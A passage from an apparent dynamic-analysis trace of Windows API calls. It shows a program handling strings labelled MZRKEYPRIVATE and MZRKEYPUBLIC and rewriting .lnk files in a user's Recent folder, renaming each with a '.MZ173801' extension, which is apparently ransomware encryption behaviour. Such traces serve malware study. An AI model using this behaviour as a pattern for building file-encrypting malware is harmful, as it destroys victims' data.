lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2417 [0151.907] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x252503c, cbMultiByte=2417, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2417 [0151.908] GetCurrentThreadId () returned 0xab4 [0151.908] GetCurrentThreadId () returned 0xab4 [0151.908] GetCurrentThreadId () returned 0xab4 [0151.909] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0151.909] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x253609c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", lpUsedDefaultChar=0x0) returned 644 [0151.909] GetCurrentThreadId () returned 0xab4 [0151.909] GetCurrentThreadId () returned 0xab4 [0151.909] GetCurrentThreadId () returned 0xab4 [0151.909] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\RDCSEzrQ7xZ1X0RREt.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\rdcsezrq7xz1x0rret.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x280 [0151.909] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa0c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19fa0c*=0) returned 0x0 [0151.909] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x0 [0151.909] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x32e [0151.909] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x0 [0151.910] ReadFile (in: hFile=0x280, lpBuffer=0x253dea0, nNumberOfBytesToRead=0x32e, lpNumberOfBytesRead=0x19fa18, lpOverlapped=0x0 | out: lpBuffer=0x253dea0*, lpNumberOfBytesRead=0x19fa18*=0x32e, lpOverlapped=0x0) returned 1 [0151.910] CloseHandle (hObject=0x280) returned 1 [0151.911] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\RDCSEzrQ7xZ1X0RREt.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\rdcsezrq7xz1x0rret.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x280 [0151.912] WriteFile (in: hFile=0x280, lpBuffer=0x253fed0*, nNumberOfBytesToWrite=0x32e, lpNumberOfBytesWritten=0x19fa24, lpOverlapped=0x0 | out: lpBuffer=0x253fed0*, lpNumberOfBytesWritten=0x19fa24*=0x32e, lpOverlapped=0x0) returned 1 [0151.913] CloseHandle (hObject=0x280) returned 1 [0151.914] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\RDCSEzrQ7xZ1X0RREt.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\rdcsezrq7xz1x0rret.lnk"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\RDCSEzrQ7xZ1X0RREt.lnk.MZ173801" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\rdcsezrq7xz1x0rret.lnk.mz173801")) returned 1 [0151.914] GetCurrentThreadId () returned 0xab4 [0151.914] GetCurrentThreadId () returned 0xab4 [0151.914] GetCurrentThreadId () returned 0xab4 [0151.914] GetCurrentThreadId () returned 0xab4 [0151.914] GetCurrentThreadId () returned 0xab4 [0151.914] GetCurrentThreadId () returned 0xab4 [0151.914] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf5afcf4a, ftCreationTime.dwHighDateTime=0x1d5f12a, ftLastAccessTime.dwLowDateTime=0xf5afcf4a, ftLastAccessTime.dwHighDateTime=0x1d5f12a, ftLastWriteTime.dwLowDateTime=0xf5afcf4a, ftLastWriteTime.dwHighDateTime=0x1d5f12a, nFileSizeHigh=0x0, nFileSizeLow=0x3c5, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="REZYZ1.lnk", cAlternateFileName="")) returned 1 [0151.914] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0151.914] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0151.914] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\REZYZ1.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\rezyz1.lnk"), fInfoLevelId=0x0, lpFileInformation=0x19fa58 | out: lpFileInformation=0x19fa58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf5afcf4a, ftCreationTime.dwHighDateTime=0x1d5f12a, ftLastAccessTime.dwLowDateTime=0xf5afcf4a, ftLastAccessTime.dwHighDateTime=0x1d5f12a, ftLastWriteTime.dwLowDateTime=0xf5afcf4a, ftLastWriteTime.dwHighDateTime=0x1d5f12a, nFileSizeHigh=0x0, nFileSizeLow=0x3c5)) returned 1 [0151.915] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\REZYZ1.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\rezyz1.lnk")) returned 0x20 [0151.915] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\REZYZ1.lnk", dwFileAttributes=0x80) returned 1 [0151.916] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2417 [0151.916] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x252503c, cbMultiByte=2417, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: 